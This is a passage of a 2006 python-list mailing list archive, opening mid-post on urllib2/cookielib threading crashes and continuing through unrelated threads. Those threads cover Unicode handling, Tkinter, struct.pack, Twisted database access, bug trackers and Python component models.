                opener.addheaders= app_addheaders
                urlcookie_openers[user] = opener
            ufile = opener.open(urllib2.Request(url,data,dict(headers)))
            ...


thread.start_new(f,())
=========================

Symptoms:
__________

sometimes ufile is None and other weired invalid states.

typical Python exceptions when in better cases there is no OS-level crash:

---------

 # Attributes randomly missing like:
 #<----2

"AttributeError: \'module\' object has no attribute \'CookieJar\'\\n"]             


---------

# weired invalid states during computation like:
#<----1

...  File "cookielib.pyo", line 184, in ?\\n\', \'  File
"sre.pyo", line 179, in compile\\n\', \'  File "sre.pyo", line 228, in _compile\\n\', \'  File
"sre_compile.pyo", line 467, in compile\\n\', \'  File "sre_parse.pyo", line 624, in parse\\n\', \'
File "sre_parse.pyo", line 317, in _parse_sub\\n\', \'  File "sre_parse.pyo", line 588, in
_parse\\n\', \'  File "sre_parse.pyo", line 92, in closegroup\\n\', \'ValueError: list.remove(x): x
not in list\\n\'] 
...
'windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2")


---------

#<----1


File "cookielib.pyo", line 116, in ?\\n\', \'  File "sre.pyo", line 179, in compile\\n\', \'  File "sre.pyo", line 228, in _compile\\n\', \'  File "sre_compile.pyo", line 467, in compile\\n\', \'  File "sre_parse.pyo", line 624, in parse\\n\', \'  File "sre_parse.pyo", line 317, in _parse_sub\\n\', \'  File "sre_parse.pyo", line 494, in _parse\\n\', \'  File "sre_parse.pyo", line 140, in __setitem__\\n\', \'IndexError: list assignment index out of range\\n\']

('windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2"

---------

# weired errors in other threads:

# after dlg.DoModal() in main thread

File "wintools.pyo", line 115, in PreTranslateMessage\\n\', \'TypeError: an integer is required\\n\']

('windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2")

---------

# after win32ui.PumpWaitingMessages(wc.WM_PAINT, wc.WM_MOUSELAST) in main thread

\'TypeError: argument list must be a tuple\\n\'


...


From BjornSteinarFjeldPettersen at gmail.com  Mon Oct 30 04:12:25 2006
From: BjornSteinarFjeldPettersen at gmail.com (thebjorn)
Date: 30 Oct 2006 01:12:25 -0800
Subject: Is there a way to get utf-8 out of a Unicode string?
In-Reply-To: <mailman.1469.1162193471.11739.python-list@python.org>
References: <1162193088.091894.269630@m73g2000cwd.googlegroups.com>
	<mailman.1469.1162193471.11739.python-list@python.org>
Message-ID: <1162199545.246825.76420@i42g2000cwa.googlegroups.com>

Fredrik Lundh wrote:
> thebjorn wrote:
>
> > I've got a database (ms sqlserver) that's (way) out of my control,
> > where someone has stored utf-8 encoded Unicode data in regular varchar
> > fields, so that e.g. the string 'Bl?b?rsyltet?y' is in the database
> > as 'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' :-/
..
> first, check if you can get your database adapter to understand that the
> database contains UTF-8 and not ISO-8859-1.

It would be the way to go, however it looks like they've managed to get
Latin-1 data in exactly two columns in the entire database (this is a
commercial product of course, so there's no way for us to fix things).
And just to make things more interesting, I think I'm running into an
ADO bug where capital letters (outside the U+0000 to U+007F range) are
returning strange values:

>>> c.execute('create table utf8 (f1 varchar(15))')
>>> u'????'.encode('utf-8')
'\xc3\x86\xc3\x98\xc3\x85\xc3\x89'
>>> x = _
>>> c.execute('insert into utf8 (f1) values (?)', (x,))
>>> c.execute('select * from utf8')
>>> c.fetchall()
((u'\xc3\u2020\xc3\u02dc\xc3\u2026\xc3\u2030',),)
>>>

I haven't tested this through C[#/++] to verify that it's an ADO issue,
but it seems unlikely that MS would view this as anything but incorrect
usage no matter where the issue is...

Anyway, sorry for venting :-)

> if that's not possible, you can roundtrip via ISO-8859-1 yourself:
>
>  >>> u = u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'
...
>  >>> print u.encode("iso-8859-1").decode("utf-8")
> Bl?b?rsyltet?y

That's very nice!

-- bjorn



From kay.schluehr at gmx.net  Mon Oct 16 05:52:40 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 16 Oct 2006 02:52:40 -0700
Subject: python's OOP question
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
Message-ID: <1160992360.823895.107240@f16g2000cwb.googlegroups.com>

neoedmund wrote:

> Could you show some code to help me know how composition/delegation can
> be done here? Thanks.

Starting with your example C2 might just derive from C1 and perform a
supercall:

class C1(object):
        def v(self, o):
                return "expected "+o


class C2(C1):
        def v(self, o):
                return "unexpected "+o
        def m(self):
                print super(C2,self).v("aaa")

>>> c2 = C2()
>>> c2.m()
expected aaa

But in general there is no single pattern to deal with object
composition.



From sjmachin at lexicon.net  Wed Oct  4 11:35:12 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 08:35:12 -0700
Subject: sax barfs on unicode filenames
In-Reply-To: <4ohufoFem6rpU1@uni-berlin.de>
References: <WOOUg.61$iP5.19@newsfe07.lga><4ohufoFem6rpU1@uni-berlin.de>
Message-ID: <1159976111.979036.62730@i42g2000cwa.googlegroups.com>


Diez B. Roggisch wrote:
> Edward K. Ream wrote:
>
> > Hi.  Presumably this is a easy question, but anyone who understands the
> > sax docs thinks completely differently than I do :-)
> >
> >
> >
> > Following the usual cookbook examples, my app parses an open file as
> > follows::
> >
> >
> >
> > parser = xml.sax.make_parser()
> >
> > parser.setFeature(xml.sax.handler.feature_external_ges,1)
> >
> > # Hopefully the content handler can figure out the encoding from the
> > # <?xml>
> > element.
> >
> > handler = saxContentHandler(c,inputFileName,silent)
> >
> > parser.setContentHandler(handler)
> >
> > parser.parse(theFile)
> >
> >
> >
> > Here 'theFile' is an open file.  Usually this works just fine, but when
>
> Filenames are expected to be bytestrings. So what happens is that the
> unicode string you pass as filename gets implicitly converted using the
> default encoding.
>
> You have to encode the unicode string according to your filesystem
> beforehand.

Not if your filesystem supports Unicode names, as Windows does.
Edward's point is that something is (whether by accident or "design")
trying to coerce it to str, and failing.



From jjl at pobox.com  Sat Oct 14 11:03:19 2006
From: jjl at pobox.com (John J. Lee)
Date: Sat, 14 Oct 2006 15:03:19 GMT
Subject: How to share session with IE
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>
	<1160480177.704013.37770@k70g2000cwa.googlegroups.com>
	<mailman.231.1160501856.11739.python-list@python.org>
	<1160656719.706895.138670@i42g2000cwa.googlegroups.com>
Message-ID: <87wt73q6rs.fsf@pobox.com>

"zdp" <zhaodapu at gmail.com> writes:
[...]
> 1. Use the cookie of IE, so I don't need to code to logon. That means I
> must use ClientCookie. I found some example in the docs and the
> newsgroup. Below is some code based on the docs of ClientCookie. But
> the page I get is still the page told me must login ( I CAN get the
> right page in IE).

Try mechanize (same website as ClientCookie -- though right now, that
part of sourceforge seems to be down for me).  It supports more
browser features automatically.

[...]
> However, both ways didn't work for me. I don't know what's wrong. If
> it's because the server page check the header or the submit of the form
> is wrong?

Changing the HTTP headers you send may solve your problem, yes.
Either that, or the response body ;-)


> I didn't study Mechanize module yet. I want a solution as simple as
> possible for distribution reason.

OK, then you should compare the HTTP requests that a real browser
sends with the HTTP requests that your Python script sends.  The
following pages give some help with that (from memory, since the site
is down right now):

http://wwwsearch.sf.net/mechanize/doc.html#debugging

http://wwwsearch.sf.net/bits/GeneralFAQ.html


John


From jcd at sdf.lonestar.org  Mon Oct 30 18:06:01 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Mon, 30 Oct 2006 16:06:01 -0700
Subject: scared about refrences...
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>
Message-ID: <ei60go$ngb$1@web.aioe.org>

SpreadTooThin wrote:
> Steven D'Aprano wrote:
>> On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote:
>>
>>>>> How do I specify or create deep copies of objects that may contain
>>>>> other objects that may contain other object that may contain other
>>>>> objects....
>>>> See the `copy` module especially `copy.deepcopy()`.
>>>>
>>> This appears to be the right thing to do to me.. (but what do I know?)
>> Yes, copy.deepcopy() is the thing you want.
>>
>> But remember Fredrik's advice that well-designed Python code should not
>> need to copy data structures often. I don't think I've ever needed to use
>> deepcopy, and rarely copy.copy().
>>
>> In general, functions should not modify their caller's data. So this is
>> bad practice:
>>
>> def print_list(alist):
>>     """Print a sorted list"""
>>     alist.sort()  # modifies the caller's data -- bad!
>>     for index, value in enumerate:
>>         print "Value %s at index %d" % (index, value)
>>
>> This is better:
>>
>> def print_list(alist):
>>     """Print a sorted list"""
>>     alist = alist[:]  # makes a local shallow copy of the list
>>     alist.sort()  # safe to modify now
>>     for index, value in enumerate:
>>         print "Value %s at index %d" % (index, value)
>>
>> But notice that you only need a shallow copy, not a deep copy, because you
>> aren't modifying the objects within the list, only the list itself.
>>
>>
>>
>>> I tried this which more closely resembles my project but this doesn't
>>> work:
>> Unfortunately my crystal ball is back at the shop being repaired, so
>> you'll have to explain what "doesn't work" means in this case. Does it
>> raise an exception? If so, please post the exception. Does it do something
>> different from what you expected? Then what did you expect, and what did
>> it do?
>>
> I seems that some of the objects in the list don't get along well with
> deep copy..
> See my second example post that used deepcopy... When run blows up...
> 
When it blows up, is there a lot of shrapnel, or just smoke and fire? 
Is the shrapnel mostly metal, or is it plastic and glass?

In short, if we don't know what's happening, we can't help.
* Did the program spit out a bunch of text you didn't understand?
   If so, show us the text.  That text may be incomprehensible at first,
   but it contains crucial clues.

* Did it close your python window without a word?
   Tell us.

* Did your computer freeze up?
   Tell us.

If you don't tell us what went wrong *exactly*, you won't get a 
satisfactory answer.

Cheers,
Cliff


From bjobrien62 at gmail.com  Thu Oct 19 11:47:48 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 19 Oct 2006 08:47:48 -0700
Subject: Komodo
Message-ID: <1161272868.051706.228320@h48g2000cwc.googlegroups.com>

Why is it that (On MAC OS X) in Komodo 3.5 Professional, if I try to
find something in my script,
I am unable to change the text it is searching for?



From mail at microcorp.co.za  Tue Oct 24 01:48:51 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 24 Oct 2006 07:48:51 +0200
Subject: Tkinter question
References: <20061023180741.71666.qmail@web56002.mail.re3.yahoo.com>
Message-ID: <021901c6f734$cc870a80$03000080@hendrik>

 Sorin Schwimmer  wrote:


Hi All,

Is it possible to have a widget id while it is created?
Something like this:

Button(root, text='...', command= lambda v=<widget id>: fn(v)).grid()

and then the function:

def fn(v):
  v['bg']='BLUE' # or maybe nametowidget(v)['bg']='BLUE'

Thanks,
Sorin

- just give the thing a name when you make it:

MyFirstButton = Button(.....

or possibly if its in a class:

self.MyFirstButton = Button(.....

then use

self.MyFirstButton.configure('bg' = 'blue', 'text' = 'new description on the
button')

HTH

Hendrik




From pretoriano_2001 at hotmail.com  Wed Oct 25 09:53:14 2006
From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com)
Date: 25 Oct 2006 06:53:14 -0700
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <xRA%g.15864$GR.13005@newssvr29.news.prodigy.net>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
	<xRA%g.15864$GR.13005@newssvr29.news.prodigy.net>
Message-ID: <1161784394.471123.161120@m73g2000cwd.googlegroups.com>

James:
Your solution works for me, many, many thanks for your help and many
thanks for the time, teaching and reflections I received from all the
guys that participated in this thread.


James Stroud wrote:
> pretoriano_2001 at hotmail.com wrote:
> > Hello:
> > I have next dictionaries:
> > a={'a':0, 'b':1, 'c':2, 'd':3}
> > b={'a':0, 'c':1, 'd':2, 'e':3}
> > I want to put in a new dictionary named c all the keys that are in b
> > and re-sequence the values. The result I want is:
> > c={'a':0, 'c':1, 'd':2}
> > How can I do this with one line of instruction?
> >
> > I attempted the next but the output is not the expected:
> > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
> > erroneously (for me) gets:
> > {'a': 0, 'c': 2, 'd': 3}
> >
> > Thanks for your help.
> >
> I think you have the right idea if I understand what you want:
>
> c = dict(((k,v) for (v,k) in enumerate(x for x in a if b.has_key(x))))
>
> --
> James Stroud
> UCLA-DOE Institute for Genomics and Proteomics
> Box 951570
> Los Angeles, CA 90095
> 
> http://www.jamesstroud.com/



From martin at v.loewis.de  Wed Oct  4 16:21:59 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 22:21:59 +0200
Subject: Python to use a non open source bug tracker? - Trac?
In-Reply-To: <xqxlknwd5wz.fsf_-_@cola3.ca.boeing.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
	<xqxlknwd5wz.fsf_-_@cola3.ca.boeing.com>
Message-ID: <452417E7.2020307@v.loewis.de>

Harry George schrieb:
> I'm not on the infrastructure list either.  But I wonder why it is
> "Roundup or else non-python COTS"?  I gave up on Roundup a while ago
> due to too many crashes.  I'm now using Trac:
> 
> a) Open Source
> b) Python
> c) Adequate functionality (for me at least)
> 
> http://trac.edgewall.org/
> 
> I'm not trying to "sell" Trac, but I would like to know what drove the
> developers away from it.

IMO, the biggest concern was that it didn't really "scale". I.e. if you
have a thousand open and several thousand closed reports in the
database, you need excellent support for queries, sorting, and alike.
Trac doesn't quite have the same power that the other tools do.
For example, to save a query/report, you actually have to write it in
SQL. For a complex report (with multiple groups), you cannot change
the order of items returned on the page (for a simple search, clicking
on the headings changes the order).

To see what I mean, please try to find out how many open reports
for the module "report system" are currently entered in the tracker
at

http://trac.edgewall.org/report

How many of these are for 0.9.x?

There is also searching, which doesn't give a tabular view of all
tickets, but instead gives a Web search result page (similar
to what a search engine produces). This makes it difficult to scan
systematically for, say, all titles.

Regards,
Martin


From tim.golden at viacom-outdoor.co.uk  Mon Oct 23 12:21:07 2006
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 23 Oct 2006 17:21:07 +0100
Subject: File and directory permissions in windows
In-Reply-To: <ehio2b$fr196@cesio.mundo-r.com>
Message-ID: <CCAC78D42E32184F8E26DC163DB98306C1B571@vogbs009.gb.vo.local>

[ismael]
| My objective is check if some directories exist and if the 
| user that execute the perl script has access to some files 
| and directories. If one of this checkpoints failed the 
| execution will be aborted. If all of then finish ok
| the execution will continue. It's simply this.

I think you've got two options:

1) Invest some time in understanding the Win32 security
model -- which is quite a bit more complex than the
(default) Posix model. You'll need to use the win32security
module or some ctypes code and see if the logged-on user
has the necessary permissions on the file of your choice.

or

2) Do it anyway, wrap it in a try-except block and catch
the OSError exception (or whatever exception it is). That
could be for several reasons, but I suspect that you don't
really care *why* this user can't execute, merely that he
can't. 

NB This appraoch is generally well-regarded under Python.
In theory between the time you check the permissions and
the execution of the script something could happen which
changes the situation. If you simply trap any exceptions,
you'll always be timely.

<code - a but crude and entirely untested>
import os

path_i_cant_access = r"\\vogbs022\it\canadasp"

try:
  result = os.listdir (path_i_cant_access)
except OSError:
  print "Couldn't read, or something else happened"
else:
  print "The result was", result

</code>

Hope that helps
TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
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From eric_brunel at despammed.com  Tue Oct 24 03:20:20 2006
From: eric_brunel at despammed.com (Eric Brunel)
Date: Tue, 24 Oct 2006 09:20:20 +0200
Subject: Tkinter question
References: <20061023180741.71666.qmail@web56002.mail.re3.yahoo.com>
	<mailman.1043.1161671757.11739.python-list@python.org>
Message-ID: <op.thwzz6lqrqur0o@eb.pragmadev>

On Tue, 24 Oct 2006 07:48:51 +0200, Hendrik van Rooyen  
<mail at microcorp.co.za> wrote:
>  Sorin Schwimmer  wrote:
> Hi All,
>
> Is it possible to have a widget id while it is created?
> Something like this:
>
> Button(root, text='...', command= lambda v=<widget id>: fn(v)).grid()
>
> and then the function:
>
> def fn(v):
>   v['bg']='BLUE' # or maybe nametowidget(v)['bg']='BLUE'

This cannot be done this way: when you create your lambda passed to the  
'command' option, the widget itself is not yet created. So there's no way  
at all to get the 'id' it will have when created.

Alternatively, you can simply split the widget creation in several lines:

b = Button(root, text='...')
b.grid()
b.configure(command=lambda b=b: fn(b))


But Hendrik's solution is better, since it avoids the use of lambda, which  
is often difficult to understand.

HTH
-- 
python -c "print ''.join([chr(154 - ord(c)) for c in  
'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"


From exarkun at divmod.com  Sun Oct 29 16:45:46 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sun, 29 Oct 2006 16:45:46 -0500
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <1162156412.199341.315540@i42g2000cwa.googlegroups.com>
Message-ID: <20061029214546.20948.275616228.divmod.quotient.5029@ohm>

On 29 Oct 2006 13:13:32 -0800, Nick Vatamaniuc <vatamane at gmail.com> wrote:
>Snor wrote:
>> I'm attempting to create a lobby & game server for a multiplayer game,
>> and have hit a problem early on with the server design. I am stuck
>> between using a threaded server, and using an event driven server. I've
>> been told time and time again that I should use an event driven server
>> design (that is, use twisted).
>>
>> There is a lot of interaction between the clients and they would often
>> need to write to the same list of values, which of course becomes a
>> problem with a threaded server - so event driven solves that problem,
>> and I assumed it would solve all my problems. However some requests
>> from clients would require that the server goes on to query a mySQL
>> server (separate machine from the server). As this occurs, there is a
>> small amount of lag while the communication with the mySQL server takes
>> place, and there could be another 100 clients waiting to make a request
>> at this point, meanwhile the server is idling while waiting for a
>> response from the mySQL server - obviously not a good server model.
>>
>> I will want the server to support as many users as is possible on any
>> given machine - and so wasted CPU cycles is something I am trying to
>> avoid.
>>
>> Is the only solution to use a threaded server to let my clients make
>> their requests and receive a response in the fastest possible time?
>Snor,
>
>The simplest solution is to change your system and put the DB on the
>same machine thus greatly reducing the time it takes for each DB query
>to complete (avoid the TCP stack completely).  This way you might not
>have to change your application logic.
>
>If that is not an option, then you are faced with a problem of
>connecting a threaded programming model with an event based model
>(twisted and and such). So your job is to interface the two. In other
>words make the event based model see the threaded DB access as event
>based. And the DB driver to see the event-based system as threaded. So
>in your event dispatcher you could add events like db_request_finished
>then when a connection is requested to the DB, a callback will be
>supplied. The connection will take place in its own thread, then when
>it is finished it will put the db_request_finished and the respective
>callback function on the event queue. I am not sure how to integrate
>that into the Twisted event dispatcher... perhaps this class is the
>answer?:
>http://twistedmatrix.com/documents/current/api/twisted.python.dispatch.EventDispatcher.html

Note, however:

>>> from twisted.python import dispatch
__main__:1: DeprecationWarning: Create your own event dispatching mechanism, twisted.python.dispatch will soon be no more.

Take a look at <http://twistedmatrix.com/documents/current/api/twisted.enterprise.adbapi.html>.

Jean-Paul


From mitko at qlogic.com  Thu Oct 19 20:52:23 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Thu, 19 Oct 2006 17:52:23 -0700
Subject: Getting method name from within the class method
In-Reply-To: <eh758p$pla$1@sea.gmane.org>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<20061018145926.0e8d3277@opal.pathscale.com>
	<eh758p$pla$1@sea.gmane.org>
Message-ID: <20061019175223.7f8b5f57@opal.pathscale.com>

On Thu, 19 Oct 2006 08:16:57 +0200
Fredrik Lundh <fredrik at pythonware.com> wrote:

> why are you writing functions that needs to output their own name a
> 100 times?  why should the program's *external* behaviour depend on
> such an irrelevant detail of its internal design?  sounds like lousy 
> design to me.

I am sorry if I sound defensive in my reply here, I am not trying to be.

What does it matter why I am doing it? I only want to know if it's
possible and if so, how?

I only gave the above scenario as an example to illustrate my point
and so I don't have to explain the design and internals of my work.

-- 
Mitko Haralanov					 mitko at qlogic.com
Senior Software Engineer			     650.934.8064
System Interconnect Group		    http://www.qlogic.com



From deets at nospam.web.de  Fri Oct  6 14:31:58 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 06 Oct 2006 20:31:58 +0200
Subject: Recursive descent algorithm able to parse Python?
In-Reply-To: <eg5bbq$29h$3@lust.ihug.co.nz>
References: <1159471326.663651.110690@h48g2000cwc.googlegroups.com>
	<4o2ugcFcm4npU1@uni-berlin.de> <efhn24$fia$1@lust.ihug.co.nz>
	<4o47o7Fcu386U1@uni-berlin.de> <eg5bbq$29h$3@lust.ihug.co.nz>
Message-ID: <4onlotFfg0l5U1@uni-berlin.de>

Lawrence D'Oliveiro schrieb:
> In message <4o47o7Fcu386U1 at uni-berlin.de>, Diez B. Roggisch wrote:
> 
>> I have to admit that I have difficulties to compare LR(k) to recursive
>> descent, but the fact that the latter contains backtracking makes it at
>> least more powerful than LL(k)
> 
> LR(k) is more powerful than LL(k).

I know _that_, the point was that recursive descent is more power full 
than LL(k)

Diez


From hanumizzle at gmail.com  Sat Oct 21 04:29:15 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sat, 21 Oct 2006 04:29:15 -0400
Subject: Good Form
In-Reply-To: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
References: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
Message-ID: <463ff4860610210129g265cd6bel493a81a96ab14af0@mail.gmail.com>

On 21 Oct 2006 01:17:32 -0700, phez.asap at gmail.com <phez.asap at gmail.com> wrote:
> I am new to Python but come from a C++ background so I am trying to
> connect the dots :) . I am really liking what I see so far but have
> some nubee questions on what is considered good form. For one thing I
> am used to class variables being accessable only through methods
> instaed of directly refrenced from the object instence. From what I
> have read it looks like when you access a class variable directly in
> Python it has something in the background that works similar to a
> getter of setter.
>
> Would you normally write methods to retrive and set your class
> variables or just refrence them directly?

It's largely a matter of taste and context I think. For instance, you
can trust the user of your code to leave read-only variables read-only
in most cases. I don't think there really is any absolutely sure way
of introducing private attributes (__ prefix just name-mangles). In
other cases, it seems more logical to have 'virtual' attributes, a few
canonical examples being temperature conversion and exchange rates;
imagine an object that has a number of dollars, Euros, yen, or other
major currency as an attribute and uses methods to give the equivalent
value in other currencies.

-- Theerasak


From christer.xxx.jansson at ericsson.com  Fri Oct 27 07:45:46 2006
From: christer.xxx.jansson at ericsson.com (Jansson Christer)
Date: Fri, 27 Oct 2006 13:45:46 +0200
Subject: struct.pack bug?
In-Reply-To: <mailman.1343.1161948740.11739.python-list@python.org>
References: <ehspsh$qu0$1@news.al.sw.ericsson.se>
	<mailman.1343.1161948740.11739.python-list@python.org>
Message-ID: <ehsrha$rrg$1@news.al.sw.ericsson.se>

Fredrik Lundh wrote:
> "Jansson Christer" wrote:
> 
> 
>>I have discovered that in my Python 2.4.1 installation (on Solaris 8),
>>struct.pack handles things in a way that seems inconsistent to me.
>>
>>I haven't found any comprehensible documentation over known issues with
>>Python 2.4.1 so I try this...
>>
>>Here's the thing:
>>
>>
>>>>>from struct import pack
>>>>>pack('B', -1)
>>
>>Traceback (most recent call last):
>>  File "<stdin>", line 1, in ?
>>struct.error: ubyte format requires 0<=number<=255
>>
>>>>>pack('H', -1)
>>
>>Traceback (most recent call last):
>>  File "<stdin>", line 1, in ?
>>struct.error: short format requires 0<=number<=USHRT_MAX
>>
>>>>>pack('L', -1)
>>
>>'\xff\xff\xff\xff'
>>
>>Shouldn't pack('L', -1) raise an exception like the others, rather than
>>behaving like pack('l', -1)?
> 
> 
> probably; the reason for the old behaviour is probably to simplify for code that
> uses Python int's to represent 32-bit values.  (mixing longs and ints used to be a
> lot more difficult than it is today).
> 
> 
>>Is this fixed in later versions?
> 
> 
> the "struct" module was rewritten in Python 2.5; the new module issues a
> warning, and then appears to *clamp* the value to the allowed range, in-
> stead of grabbing the low bits:
> 
> 
>>>>import struct
> 
> 
>>>>struct.pack("B", -1)
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
>   File "C:\Python25\Lib\struct.py", line 63, in pack
>     return o.pack(*args)
> struct.error: ubyte format requires 0 <= number <= 255
> 
> 
>>>>struct.pack("H", -1)
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
>   File "C:\Python25\Lib\struct.py", line 63, in pack
>     return o.pack(*args)
> struct.error: short format requires 0 <= number <= USHRT_MAX
> 
> 
>>>>struct.pack("I", -1)
> 
> __main__:1: DeprecationWarning: 'I' format requires 0 <= number <= 4294967295
> '\x00\x00\x00\x00'
> 
> 
>>>>struct.pack("L", -1)
> 
> __main__:1: DeprecationWarning: 'L' format requires 0 <= number <= 4294967295
> '\x00\x00\x00\x00'
> 
> </F> 
> 
> 
> 

Ok this implies that somebody is actually thinking about how to handle 
this, so I guess I won't file a bug report and simply solve my problems 
without relying on those exceptions...

Thank you!
-- 
--

Christer Jansson
WiseOne AB
+46 708 21 42 84


From eldiener_no_spam_here at earthlink.net  Mon Oct  9 22:52:36 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 02:52:36 GMT
Subject: Python component model
In-Reply-To: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
Message-ID: <UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>

Michael wrote:
> Edward Diener No Spam wrote:
> 
>> Has there ever been, or is there presently anybody, in the Python
>> developer community who sees the same need and is working toward that
>> goal of a common component model in Python, blessed and encouraged by
>> those who maintain the Python language and standard modules themselves ?
> 
> Someone aiming towards a standard to /replace/ everyone else's? That
> presupposes a level of arrogance that seems unusual in the python world.
> (whilst everyone's proud of their own code and they _generally_ respect
> other people's even if it's not their cup of tea).

The reason I would like to see a standard component model for Python is 
so 3rd party developers could create their classes to conform to this 
model and work in any RAD IDE environment which adapts it. That's the 
way JavaBeans work, that the way Borland's VCL component model works, 
and that's the way .Net works. When there are many different component 
models, the 3rd party developer must adapt their components to each 
model for a particular environment.

But far be it from me to want to replace everybody else's model <g>.

By your reasoning above, standardizing anything in software is an 
arrogant proposition. Whereas I look at standardization, when it is well 
done, as a boon to programmers.

> 
> The WSGI standard could be a form of component model, and has gone through
> the PEP process so that might match your criterion.

I do not know what it is but I will look it up.

> As for component
> models, they do exist.
> 
> Our component model on the Kamaelia project [1] is one that's heavily
> designed around the idea of composition and independent execution of
> components and message passing (message passing maps to events for some
> sorts of message), 
>    [1] http://kamaelia.sourceforge.net/Home

I will look at kamaelia. Thanks !

> 
> I wouldn't think of proposing it as the single standard to rule them all
> though, for the simple reason every approach has its own strengths. (We do
> find the approach extremely useful though)
> 
> If you want a quick example of the core ideas, a tutorial aimed around
> building a massively simplified core is here:
>    http://kamaelia.sourceforge.net/MiniAxon/
> 
> If you want to see a substantial example, you can look here:
>    * http://tinyurl.com/oqjfb - whiteboarding with audio where every client
>      is a server. The entire resulting system is also a component.
> 
> For something more simplistic:
>    * http://kamaelia.sourceforge.net/Examples/SimplestPresentationTool.html
> 
> Something halfway in terms of complexity (a PVR for transcoding everything
> broadcast on digital TV):
>    * http://tinyurl.com/lvygq
>      (OK, you need to add more channels, but you'd need more CPU's too)
> 
> We also have tools for introspecting a running system, and also a visual
> composition tool (called Compose) [2] for creating simple systems
> graphically, and that, as you say, handles a significant chunk of
> dreariness. Suggestions on improving the model and composition tool are
> very welcome, code is even more welcome :)
> 
>    [2] Sample system created with the newest version of Compose:
>           http://tinyurl.com/numwk
>        Compose is also a Kamaelia system, and can be found here:
>           http://tinyurl.com/p7z76
>        (bulk of the wiring up is in the bottom of the file - this is an
>        interesting example because of the use of Pygame and Tk for different
>        parts of the interface where appropriate)
> 
> 
> However, off the top of my head, you should also look at Zope's component
> model, Trac's component model, Twisted's model & PEAK, and any proposal
> to say "this is the solution", needs to be compelling for all of these
> projects. 

A standard component model could be used as a base for other more 
advanced needs. Most of those mentioned above seem to involve web 
application frameworks whereas my idea of a component model just assumes 
  the paradigms of properties, methods, and events which may allow 
re-usable components at a base level in any environment.

A particular implementation is certainly allowed to build a more 
complicated idea of a component, through inheritance, from a base level 
component, and this is in fact the way that most components work in 
current component model environments I have mentioned. For instance in 
.Net a control is a component with other added qualities. So while one 
could build components which are not controls, it is necessary to add 
functionality to the base level idea of a component in order to create a 
control.

> 
> Note, they do change where there's a benefit - twisted adopted some
> interesting ideas from Zope for example - however the onus on showing the
> benefit is on you. (Which if you can do, would be welcome I would expect)
> One thing that would probably be very useful would be to identify a way the
> various models these projects use can be made to interact better.
> 
> The reason I mention //our// model is because we're finding it useful, and
> has visual composition, introspection and components have a rich amount of
> meta data associated with them, this may or may not fit your criterion.
> 
> One of the most "bling" examples we've got right now though (which I
> mentioned mainly because it does show reuse up quite nicely) is where we
> play Dirac encoded video back onto a pygame surface and then render that
> onto a texture that's on a plane spinning in 3D (in realtime):
>    * Code: http://tinyurl.com/oynxv
>    * Screenshot: http://kamaelia.sourceforge.net/t/Dirac3D.png
> 
> I've uploaded a collection of other screenshots of various kamaelia related
> things here:
>    * http://kamaelia.sourceforge.net/screenshots/
> 
> You may find the following interesting:
>    * http://kamaelia.sourceforge.net/screenshots/Compose.png
>    * http://kamaelia.sourceforge.net/screenshots/KamaeliaOpenGL.png (example
>      of putting components in places they don't realise)
>    * http://kamaelia.sourceforge.net/screenshots/AxonVisualiser.png

